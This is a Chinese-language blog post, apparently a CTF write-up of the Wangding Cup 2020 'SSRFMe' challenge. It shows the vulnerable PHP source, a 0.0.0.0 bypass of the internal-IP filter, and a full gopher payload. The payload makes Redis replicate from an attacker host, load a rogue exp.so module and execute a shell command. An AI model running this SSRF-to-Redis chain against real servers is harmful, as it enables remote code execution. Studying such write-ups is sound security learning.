suyumen
目前主要在学习web相关

网鼎杯-2020-SSRFMe

2021-07-26 ssrf
Word count: 1.3k | Reading time: 6min

没有做过ssrf的题,找一个了解一下。
直接给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

ssrf

SSRF(Server-Side Request Forgery:服务器端请求伪造) 
由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

这么一大堆不认识的函数,慢慢看吧:

1.

$int_ip=ip2long($ip);

函数 ip2long() : 返回 IPV4 网络地址的长整型格式,从标准网络地址格式(点字符串)转化得到。

其中转换的流程:

1
2
3
4
5
6
<?php
function ip2int($ip){
list($ip1,$ip2,$ip3,$ip4)=explode(".",$ip);
return($ip1<<24)|($ip2<<16)|($ip3<<8)|($ip4);
}
?>

2.

$url_parse=parse_url($url);

函数parse_url() : 解析 URL,返回其组成部分。不能用于相对 URL。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。

3.

$ip=gethostbyname($hostname);

函数gethostbyname() :返回主机名 hostname 对应的 IPv4 互联网地址。

function check_inner_ip这个函数相当于过滤掉了

127.0.0.0

10.0.0.0

172.16.0.0

192.168.0.0

这几个地址,然后还需要让url本地地址

?url=http://0.0.0.0/hint.php读一下hint.php


得到:

1
2
3
4
5
6
7
8
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

redispass is root –> redispasswordroot~~~~

查了一下Redis的漏洞:

https://zhuanlan.zhihu.com/p/143347985这个里面有详细的复现过程。同时出现了许多新词儿……

主从复制

指将一台Redis服务器的数据,复制到其他的Redis服务器。
前者称为主节点(master),后者称为从节点(slave);
数据的复制是单向的,只能由主节点到从节点。

从节点开启主从复制的3个方式:

1.在从服务器的配置文件中加入:

slaveof <masterip> <masterport>

2.redis-server启动命令后加入 --slaveof <masterip> <masterport>

3.Redis服务器启动后,直接通过客户端执行命令slaveof <masterip> <masterport>,则该Redis实例成为从节点。

然后用两个工具:(这是完全在跟着别人的wp做了……)https://www.cnblogs.com/karsa/p/14123995.html#%E7%9F%A5%E8%AF%86%E7%82%B9

1.redis-rogue-server

2.redis-ssrf

小号开linux靶机,ssh连接,把这两个py文件和exp.so传至同一目录下:

修改ssrf-redis.py中的三处
1.125行左右:

lhost改成linux靶机的ip,command改成想要执行的命令。

2.140行左右:
ip改成0.0.0.0

3.160行左右:

password改成root

在目录下运行:
python ssrf-redis.py生成payload:

1
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A172.16.150.103%0D%0A%244%0D%0A6666%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%2414%0D%0Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

二次url编码一下,由于libcurl传递的url也需要编码

1
gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A172.16.150.103%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252414%250D%250Acat%2524%257BIFS%257D%2Fflag%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

python rogue-server.py

有的wp用到了写个死循环shell脚本跑rogue-server.py ,防止exp.so传输中断:

打过去。

好,报错了:

1
string(210) "+OK +OK Already connected to specified master +OK +OK -ERR Error loading the extension. Please check the server logs. -ERR unknown command `system.exec`, with args beginning with: `cat${IFS}/flag`, +OK "

好饿,睡觉去了,,,这啥原因明天再看看吧,so hard for me…


参考

https://blog.csdn.net/qq_30135181/article/details/52734225

https://www.cnblogs.com/kismetv/p/9236731.html

https://www.freebuf.com/articles/network/260636.html

Author: suyumen

Link: https://suyumen.github.io/2021/07/26/2021-07-26-[%E7%BD%91%E9%BC%8E%E6%9D%AF2020]SSRFMe/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
ZJCTF-2019-NiZhuanSiWei
NextPost >
RCTF-2019-Nextphp
CATALOG
  1. 1. ssrf
  2. 2. 主从复制
    1. 2.1. 参考